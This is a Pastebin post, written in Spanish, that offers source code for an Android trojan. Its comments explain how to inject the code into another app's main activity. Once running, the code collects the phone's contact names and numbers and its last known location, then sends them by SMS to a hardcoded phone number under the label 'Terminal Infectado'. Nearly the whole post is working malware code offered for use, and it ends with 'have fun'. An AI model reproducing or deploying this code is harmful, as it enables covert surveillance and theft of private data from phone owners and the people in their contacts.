Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- *El código se inserta en el archivo principal "Mainactivitiy.java" tras el punto main que en el caso de las aplicaciones de Android esta después de oncreate.
- Este intento de "virus" troyano se acopla al código de otra app para agregar las funciones de dumpeo de data.
- Código que accede a los contactos del dispositivo y los almacena en un hashmap para después hacer con ellos lo que queramos*
- 01
- ArrayList<HashMap<String, String>> agenda = getContacts();
- 02
- for (HashMap<String, String> map : agenda) {
- 03
- for (Map.Entry<String, String> mapEntry : map.entrySet()) {
- 04
- key = mapEntry.getKey();
- 05
- value = mapEntry.getValue();
- 06
- datos = datos + "--" + key + ":" + value;
- 07
- }
- 08
- }
- 09
- 10
- private ArrayList<HashMap<String, String>> getContacts() {
- 11
- ContentResolver cr = getContentResolver();
- 12
- Cursor cCur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
- 13
- Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
- 14
- 15
- ArrayList<HashMap<String, String>> data = new ArrayList<HashMap<String, String>>();
- 16
- 17
- HashMap<String, String> contacts = new HashMap<String, String>();
- 18
- 19
- while (cCur.moveToNext()) {
- 20
- String id = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
- 21
- String name = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
- 22
- contacts.put(id, name);
- 23
- }
- 24
- while (pCur.moveToNext()) {
- 25
- String id = pCur.getString(pCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
- 26
- String name = contacts.get(id);
- 27
- String phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA));
- 28
- HashMap<String, String> h = new HashMap<String, String>();
- 29
- h.put("name", name);
- 30
- h.put("phone", phone);
- 31
- data.add(h);
- 32
- }
- 33
- pCur.close();
- 34
- cCur.close();
- 35
- return data;
- 36
- }
- -------------------------------------------------------------------------------------------------------------------
- * Función de extracción de datos de coordenadas GPS del dispositivo *
- 01
- LocationManager LC = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
- 02
- Criteria criteria = new Criteria();
- 03
- provider = LC.getBestProvider(criteria, false);
- 04
- 05
- Location loc = LC.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
- 06
- if (loc != null) {
- 07
- Toast.makeText(this, "Provider:" + provider, Toast.LENGTH_LONG).show();
- 08
- onLocationChanged(loc);
- 09
- } else {
- 10
- latitudeval.setText("NO PROVIDER");
- 11
- }
- 12
- 13
- public void onLocationChanged(Location location) {
- 14
- double lat = location.getLatitude();
- 15
- double lon = location.getLongitude();
- 16
- lati = String.valueOf(lat);
- 17
- longi = String.valueOf(lon);
- 18
- 19
- }
- -------------------------------------------------------------------------------------------------------------------
- *Código que envía el mensaje es el siguiente:
- 1
- phoneNo = "66666666";
- 2
- sms = "Terminal Infectado: Datos Agenda:" + datos + " Localizacion:" + " " + lati + " " + longi;
- 3
- SmsManager smsManager = SmsManager.getDefault();
- 4
- smsManager.sendTextMessage(phoneNo, null, sms, null, null);
- ------------------------------------------------------------------------------------------------------------------
- *Código completo*
- 01
- package Realpentester.Malware;
- 02
- import android.app.Activity;
- 03
- import android.content.*;
- 04
- import android.database.Cursor;
- 05
- import android.location.*;
- 06
- import android.os.Bundle;
- 07
- import android.provider.ContactsContract;
- 08
- import android.telephony.SmsManager;
- 09
- import android.widget.Button;
- 10
- import android.widget.EditText;
- 11
- import android.widget.TextView;
- 12
- import android.widget.Toast;
- 13
- import java.util.*;
- 14
- 15
- public class Realpentester extends Activity {
- 16
- private TextView latitudeval;
- 17
- private String provider;
- 18
- TextView txtEnviado;
- 19
- public String key;
- 20
- public String value;
- 21
- public String datos = "";
- 22
- public String phoneNo;
- 23
- public String sms;
- 24
- public String lati;
- 25
- public String longi;
- 26
- 27
- /**
- 28
- * Called when the activity is first created.
- 29
- */
- 30
- @Override
- 31
- public void onCreate(Bundle savedInstanceState) {
- 32
- super.onCreate(savedInstanceState);
- 33
- setContentView(R.layout.main);
- 34
- 35
- txtEnviado = (TextView) findViewById(R.id.txtEnviado);
- 36
- 37
- LocationManager LC = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
- 38
- Criteria criteria = new Criteria();
- 39
- provider = LC.getBestProvider(criteria, false);
- 40
- 41
- Location loc = LC.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
- 42
- if (loc != null) {
- 43
- Toast.makeText(this, "Provider:" + provider, Toast.LENGTH_LONG).show();
- 44
- onLocationChanged(loc);
- 45
- } else {
- 46
- latitudeval.setText("NO PROVIDER");
- 47
- }
- 48
- ArrayList<HashMap<String, String>> agenda = getContacts();
- 49
- for (HashMap<String, String> map : agenda) {
- 50
- for (Map.Entry<String, String> mapEntry : map.entrySet()) {
- 51
- key = mapEntry.getKey();
- 52
- value = mapEntry.getValue();
- 53
- datos = datos + "--" + key + ":" + value;
- 54
- }
- 55
- }
- 56
- 57
- //LINEA DONDE SE CAMBIAN OS TELEFONOS A LOS QUE MANDAMOS LOS DATOS EXTRAIDOS DEL DISPOSITIVO
- 58
- phoneNo = "66666666";
- 59
- sms = "Terminal Infectado: Datos Agenda:" + datos + " Localizacion:" + " " + lati + " " + longi;
- 60
- SmsManager smsManager = SmsManager.getDefault();
- 61
- smsManager.sendTextMessage(phoneNo, null, sms, null, null);
- 62
- }
- 63
- public void onLocationChanged(Location location) {
- 64
- double lat = location.getLatitude();
- 65
- double lon = location.getLongitude();
- 66
- lati = String.valueOf(lat);
- 67
- longi = String.valueOf(lon);
- 68
- 69
- }
- 70
- 71
- 72
- 73
- private ArrayList<HashMap<String, String>> getContacts() {
- 74
- ContentResolver cr = getContentResolver();
- 75
- Cursor cCur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
- 76
- Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
- 77
- ArrayList<HashMap<String, String>> data = new ArrayList<HashMap<String, String>>();
- 78
- HashMap<String, String> contacts = new HashMap<String, String>();
- 79
- while (cCur.moveToNext()) {
- 80
- String id = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
- 81
- String name = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
- 82
- contacts.put(id, name);
- 83
- }
- 84
- 85
- while (pCur.moveToNext()) {
- 86
- String id = pCur.getString(pCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
- 87
- String name = contacts.get(id);
- 88
- String phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA));
- 89
- HashMap<String, String> h = new HashMap<String, String>();
- 90
- h.put("name", name);
- 91
- h.put("phone", phone);
- 92
- data.add(h);
- 93
- }
- 94
- pCur.close();
- 95
- cCur.close();
- 96
- return data;
- 97
- }
- 98
- }
- Diviertanse ! By Poiz0n Stark
- Twitter: @P0iz0N #AL
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement